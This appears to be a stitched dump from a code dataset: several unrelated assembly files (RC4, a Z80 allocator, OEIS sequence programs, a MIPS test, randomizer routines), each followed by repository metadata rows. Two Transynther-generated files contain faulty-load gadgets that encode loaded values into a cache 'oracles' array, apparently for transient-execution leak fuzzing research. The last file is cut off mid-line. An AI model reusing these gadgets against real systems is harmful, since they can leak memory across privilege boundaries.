add bl, cl
mov edx, DWORD PTR [ebx*4+ebp]
mov DWORD PTR [eax*4+ebp],edx
add edx, ecx
mov DWORD PTR [ebx*4+ebp],ecx
and edx, 255
inc al
mov edx, DWORD PTR [edx*4+ebp]
mov dh, BYTE PTR [esi-1]
xor dl, dh
mov BYTE PTR 6[edi],dl
jmp $L004finished
$L001RC4_CHAR:
lea edx, DWORD PTR [edx+esi]
mov DWORD PTR 8[esp],edx
$L005RC4_CHAR_loop:
movzx ecx, BYTE PTR [eax+ebp]
add bl, cl
movzx edx, BYTE PTR [ebx+ebp]
mov BYTE PTR [ebx+ebp],cl
mov BYTE PTR [eax+ebp],dl
add dl, cl
movzx edx, BYTE PTR [edx+ebp]
xor dl, BYTE PTR [esi]
mov BYTE PTR [edi], dl
inc al
inc esi
inc edi
cmp esi, DWORD PTR 8[esp]
jb $L005RC4_CHAR_loop
$L004finished:
dec eax
add esp, 12
mov BYTE PTR [ebp-4],bl
mov BYTE PTR [ebp-8],al
pop edi
pop esi
pop ebx
pop ebp
ret
_RC4 ENDP
_TEXT ENDS
END
| 20.918919
| 74
| 0.645187
|
6239ae12aefa174af9f4068443c8402e4d1d8f99
| 2,069
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/alloc/balloc/z80/asm_balloc_addmem.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/alloc/balloc/z80/asm_balloc_addmem.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/alloc/balloc/z80/asm_balloc_addmem.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; ===============================================================
; Dec 2013
; ===============================================================
;
; void *balloc_addmem(unsigned char q, size_t num, size_t size, void *addr)
;
; Add num memory blocks to queue. Each block is size bytes
; large and uses memory starting at address addr.
;
; size must be >= 2 but is not checked. The actual memory space
; occupied by each block is (size + 1) bytes, the single extra
; byte being a hidden queue identifier.
;
; ===============================================================
SECTION code_alloc_balloc
PUBLIC asm_balloc_addmem
EXTERN __balloc_array
EXTERN asm_p_forward_list_insert_after
asm_balloc_addmem:
; enter : a = unsigned char q
; bc = size_t num
; de = void *addr
; hl = size_t size
;
; exit : hl = address of next free byte
; de = size
;
; uses : af, bc, de, hl
push hl
push bc
ld l,a
ld h,0
add hl,hl
ld bc,(__balloc_array)
add hl,bc
ld c,l
ld b,h ; bc = p_forward_list *q
pop hl
loop:
; bc = p_forward_list *q
; de = void *next_addr
; hl = num
; a = queue
; stack = size
inc l
dec l
jr nz, continue
inc h
dec h
jr nz, continue
done:
; de = void *next_addr
; stack = size
pop hl
ex de,hl
ret
continue:
; bc = p_forward_list *q
; de = void *next_addr
; hl = num
; a = queue
; stack = size
ld (de),a ; record queue number in block
inc de
ex (sp),hl
push af
push hl
; bc = p_forward_list *q
; de = void *addr
; stack = num, queue, size
ld l,c
ld h,b
call asm_p_forward_list_insert_after ; push memory block to front of list
; bc = p_forward_list *q
; hl = void *addr
; stack = num, queue, size
pop de
add hl,de
ex de,hl ; de = void *next_addr, hl = size
pop af
ex (sp),hl
dec hl ; hl = num--
jr loop
| 18.309735
| 77
| 0.505075
|
e985564ecb32fca1bab384f9888a10f08f59c33a
| 343
|
asm
|
Assembly
|
oeis/171/A171552.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/171/A171552.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/171/A171552.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A171552: a(n)=2^n*floor((5-2n)/3).
; Submitted by Christian Krause
; 1,2,0,-8,-16,-64,-192,-384,-1024,-2560,-5120,-12288,-28672,-57344,-131072,-294912,-589824,-1310720,-2883584,-5767168,-12582912,-27262976,-54525952,-117440512,-251658240,-503316480,-1073741824,-2281701376
mov $1,2
pow $1,$0
mul $0,2
div $0,3
mul $0,$1
sub $1,$0
mov $0,$1
| 28.583333
| 205
| 0.676385
|
eca89a040db4d257c4c62a06b3dfd720455c6337
| 282
|
asm
|
Assembly
|
P5/P5_TestCode/P5_L1_testcase12/P5_L1_testcase12/mips12.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | 1
|
2022-01-23T09:24:47.000Z
|
2022-01-23T09:24:47.000Z
|
P5/P5_TestCode/P5_L1_testcase12/mips12.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | null | null | null |
P5/P5_TestCode/P5_L1_testcase12/mips12.asm
|
alxzzhou/BUAA_CO_2020
|
b54bf367081a5a11701ebc3fc78a23494aecca9e
|
[
"Apache-2.0"
] | null | null | null |
ori $t0, $0, 0x00003010
jr $t0
nop
ori $t0, $0, 1
ori $t0, $0, 2
ori $t0, $0, 0x00003028
nop
jr $t0
nop
ori $t0, $0, 1
ori $t0, $0, 3
ori $t0, $0, 0x00003044
nop
nop
jr $t0
nop
ori $t0, $0, 1
ori $t0, $0, 4
ori $t0, $0, 0x00003064
nop
nop
nop
jr $t0
nop
ori $0, $0, 1
ori $t0, $0, 5
| 10.846154
| 23
| 0.585106
|
522d09c55a7283f74d65ba9fb07fbbfef795659a
| 61
|
asm
|
Assembly
|
Micro/Tests/or/or.asm
|
JavierOramas/CP_AC
|
d2f38823c6c2fce5acab1908a6912a7c18a0dd2b
|
[
"MIT"
] | null | null | null |
Micro/Tests/or/or.asm
|
JavierOramas/CP_AC
|
d2f38823c6c2fce5acab1908a6912a7c18a0dd2b
|
[
"MIT"
] | null | null | null |
Micro/Tests/or/or.asm
|
JavierOramas/CP_AC
|
d2f38823c6c2fce5acab1908a6912a7c18a0dd2b
|
[
"MIT"
] | null | null | null |
addi r3 r0 0
addi r1 r0 65
or r4 r3 r1
tty r4
halt
#prints A
| 8.714286
| 13
| 0.704918
|
b5d97861fe3f021eb708d6c403062e19e3e82859
| 565
|
asm
|
Assembly
|
ASM/src/textbox.asm
|
mzxrules/MM-Randomizer
|
56260563e3737cbff8a2bbb98ff8bcb161f3440e
|
[
"MIT"
] | 1
|
2018-10-06T16:13:07.000Z
|
2018-10-06T16:13:07.000Z
|
ASM/src/textbox.asm
|
mzxrules/MM-Randomizer
|
56260563e3737cbff8a2bbb98ff8bcb161f3440e
|
[
"MIT"
] | null | null | null |
ASM/src/textbox.asm
|
mzxrules/MM-Randomizer
|
56260563e3737cbff8a2bbb98ff8bcb161f3440e
|
[
"MIT"
] | null | null | null |
; a0 = char index into name
get_name_char:
li t0, PLAYER_NAME_ID
lbu t0, 0x00 (t0)
bnez t0, @@coop_player_name
nop
li t0, SAVE_CONTEXT
add t0, t0, a0
lbu v0, 0x24 (t0)
b @@return
nop
@@coop_player_name:
sll t0, t0, 3
li v0, PLAYER_NAMES
add t0, t0, v0
add t0, t0, a0
lbu v0, 0x00 (t0)
@@return:
jr ra
nop
reset_player_name_id:
; displaced code
lw s6,48(sp)
lw s7,52(sp)
lw s8,56(sp)
li t0, PLAYER_NAME_ID
sb zero, 0x00 (t0)
jr ra
nop
| 15.27027
| 31
| 0.545133
|
95c391f70c44f923c852f108da37465957224258
| 1,054
|
asm
|
Assembly
|
programs/oeis/168/A168398.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/168/A168398.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/168/A168398.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A168398: a(n) = 4 + 8*floor((n-1)/2).
; 4,4,12,12,20,20,28,28,36,36,44,44,52,52,60,60,68,68,76,76,84,84,92,92,100,100,108,108,116,116,124,124,132,132,140,140,148,148,156,156,164,164,172,172,180,180,188,188,196,196,204,204,212,212,220,220,228,228,236,236,244,244,252,252,260,260,268,268,276,276,284,284,292,292,300,300,308,308,316,316,324,324,332,332,340,340,348,348,356,356,364,364,372,372,380,380,388,388,396,396,404,404,412,412,420,420,428,428,436,436,444,444,452,452,460,460,468,468,476,476,484,484,492,492,500,500,508,508,516,516,524,524,532,532,540,540,548,548,556,556,564,564,572,572,580,580,588,588,596,596,604,604,612,612,620,620,628,628,636,636,644,644,652,652,660,660,668,668,676,676,684,684,692,692,700,700,708,708,716,716,724,724,732,732,740,740,748,748,756,756,764,764,772,772,780,780,788,788,796,796,804,804,812,812,820,820,828,828,836,836,844,844,852,852,860,860,868,868,876,876,884,884,892,892,900,900,908,908,916,916,924,924,932,932,940,940,948,948,956,956,964,964,972,972,980,980,988,988,996,996
mov $1,$0
div $1,2
mul $1,8
add $1,4
| 131.75
| 975
| 0.723909
|
c6e82efa414be448b062dd037fba1f9c08ad504c
| 5,247
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_853.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_853.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_853.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1d2d2, %rsi
lea addresses_WC_ht+0x113d2, %rdi
nop
nop
dec %r12
mov $53, %rcx
rep movsw
nop
nop
sub $63104, %r13
lea addresses_WC_ht+0xc322, %rsi
lea addresses_normal_ht+0x2852, %rdi
nop
nop
nop
nop
cmp %rbp, %rbp
mov $61, %rcx
rep movsq
nop
add $4988, %rdi
lea addresses_WC_ht+0x3fe8, %rsi
nop
nop
nop
xor $57858, %r15
movb $0x61, (%rsi)
nop
and %rsi, %rsi
lea addresses_WT_ht+0x7a12, %r15
xor %rbp, %rbp
mov $0x6162636465666768, %r12
movq %r12, %xmm3
and $0xffffffffffffffc0, %r15
movntdq %xmm3, (%r15)
nop
nop
nop
nop
and %r15, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r9
push %rax
push %rbx
push %rcx
// Store
mov $0xd52, %rax
nop
nop
xor %r9, %r9
mov $0x5152535455565758, %r12
movq %r12, %xmm5
vmovups %ymm5, (%rax)
nop
nop
cmp %r10, %r10
// Faulty Load
lea addresses_PSE+0x4d2, %rcx
and $13620, %r10
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %r12
lea oracles, %rax
and $0xff, %r12
shlq $12, %r12
mov (%rax,%r12,1), %r12
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 4, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 7, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 46.433628
| 2,999
| 0.661521
|
6f38cb56b37f12f5dd2a28c0b710e56a882428ec
| 831
|
asm
|
Assembly
|
programs/oeis/223/A223833.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/223/A223833.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/223/A223833.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A223833: Number of n X 3 0..1 arrays with rows and antidiagonals unimodal and columns nondecreasing.
; 7,22,48,89,149,232,342,483,659,874,1132,1437,1793,2204,2674,3207,3807,4478,5224,6049,6957,7952,9038,10219,11499,12882,14372,15973,17689,19524,21482,23567,25783,28134,30624,33257,36037,38968,42054,45299,48707,52282,56028,59949,64049,68332,72802,77463,82319,87374,92632,98097,103773,109664,115774,122107,128667,135458,142484,149749,157257,165012,173018,181279,189799,198582,207632,216953,226549,236424,246582,257027,267763,278794,290124,301757,313697,325948,338514,351399,364607,378142,392008,406209,420749,435632,450862,466443,482379,498674,515332,532357,549753,567524,585674,604207,623127,642438,662144,682249
add $0,1
mov $1,4
mov $2,3
lpb $0
add $0,1
add $1,$2
add $2,$0
sub $0,2
add $1,$2
lpe
sub $1,5
mov $0,$1
| 51.9375
| 611
| 0.779783
|
b502ef41c063bd94c134c4baa10c2b679ba401bb
| 344
|
asm
|
Assembly
|
oeis/177/A177785.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/177/A177785.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/177/A177785.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A177785: a(n) = a(n-1)^2 - a(n-2) for n > 2; a(1)=3, a(2)=0.
; Submitted by Christian Krause
; 3,0,-3,9,84,7047,49660125,2466128015008578,6081787386410149117225363921959,36988137813497592451208729538020214534589070415260614227389103
mov $2,6
lpb $0
sub $0,1
mov $3,$2
mov $2,$1
pow $1,2
dif $1,2
sub $1,$3
lpe
mov $0,$2
div $0,2
| 21.5
| 139
| 0.674419
|
79ad134d0d5f1b5017df1b7b095d2511bec5c8a6
| 7,651
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_3980_65.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_3980_65.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_3980_65.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x25e9, %rsi
lea addresses_WT_ht+0x13729, %rdi
nop
nop
nop
nop
sub $43632, %r8
mov $89, %rcx
rep movsb
nop
nop
nop
nop
xor $34927, %rsi
lea addresses_D_ht+0x1eb29, %r10
add $32881, %rbx
mov $0x6162636465666768, %r15
movq %r15, %xmm0
and $0xffffffffffffffc0, %r10
vmovaps %ymm0, (%r10)
nop
add $58357, %r8
lea addresses_WT_ht+0x1c8b1, %rsi
clflush (%rsi)
nop
nop
nop
nop
sub $21186, %r15
mov (%rsi), %rdi
nop
add $19655, %rbx
lea addresses_WC_ht+0x10cf1, %r8
nop
nop
nop
nop
nop
dec %r15
movups (%r8), %xmm1
vpextrq $0, %xmm1, %rdi
nop
cmp $50508, %rdi
lea addresses_A_ht+0xdb29, %r15
nop
nop
nop
nop
nop
add %r8, %r8
movl $0x61626364, (%r15)
nop
nop
nop
inc %r15
lea addresses_A_ht+0x4681, %rcx
sub $53939, %r8
vmovups (%rcx), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rbx
inc %rbx
lea addresses_WC_ht+0x11b29, %rsi
lea addresses_WT_ht+0x20d, %rdi
nop
nop
dec %r13
mov $11, %rcx
rep movsw
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0xfd29, %rsi
nop
nop
sub $61373, %r15
mov $0x6162636465666768, %r10
movq %r10, %xmm2
and $0xffffffffffffffc0, %rsi
movntdq %xmm2, (%rsi)
nop
nop
nop
nop
nop
cmp $63998, %r8
lea addresses_normal_ht+0x19f69, %r10
nop
nop
nop
nop
nop
add $43966, %rsi
mov (%r10), %r8d
nop
nop
nop
nop
nop
sub $44295, %r13
lea addresses_A_ht+0x11899, %r10
cmp %rbx, %rbx
movb $0x61, (%r10)
nop
nop
nop
nop
nop
and %r15, %r15
lea addresses_A_ht+0x66a9, %rdi
nop
nop
xor %r10, %r10
mov (%rdi), %rsi
nop
add $64389, %r15
lea addresses_A_ht+0x12b29, %rcx
nop
nop
nop
nop
and $10368, %rbx
mov $0x6162636465666768, %r10
movq %r10, (%rcx)
nop
sub %r10, %r10
lea addresses_A_ht+0x12b29, %rsi
lea addresses_D_ht+0x1c729, %rdi
nop
nop
nop
nop
nop
cmp $56730, %r10
mov $10, %rcx
rep movsw
nop
nop
nop
nop
and $22441, %rsi
lea addresses_WC_ht+0xcb29, %rsi
lea addresses_WT_ht+0x2669, %rdi
clflush (%rsi)
nop
nop
inc %r8
mov $111, %rcx
rep movsl
nop
nop
sub $3078, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r9
push %rcx
push %rdi
push %rdx
// Faulty Load
lea addresses_UC+0x9b29, %r11
nop
nop
nop
nop
xor %rdx, %rdx
vmovups (%r11), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rdi
lea oracles, %r9
and $0xff, %rdi
shlq $12, %rdi
mov (%r9,%rdi,1), %rdi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 11, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}}
{'37': 3980}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 